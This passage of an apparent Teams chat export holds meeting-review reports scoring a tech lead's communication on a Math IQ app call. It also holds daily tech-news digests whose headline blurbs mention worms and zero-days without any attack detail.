migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 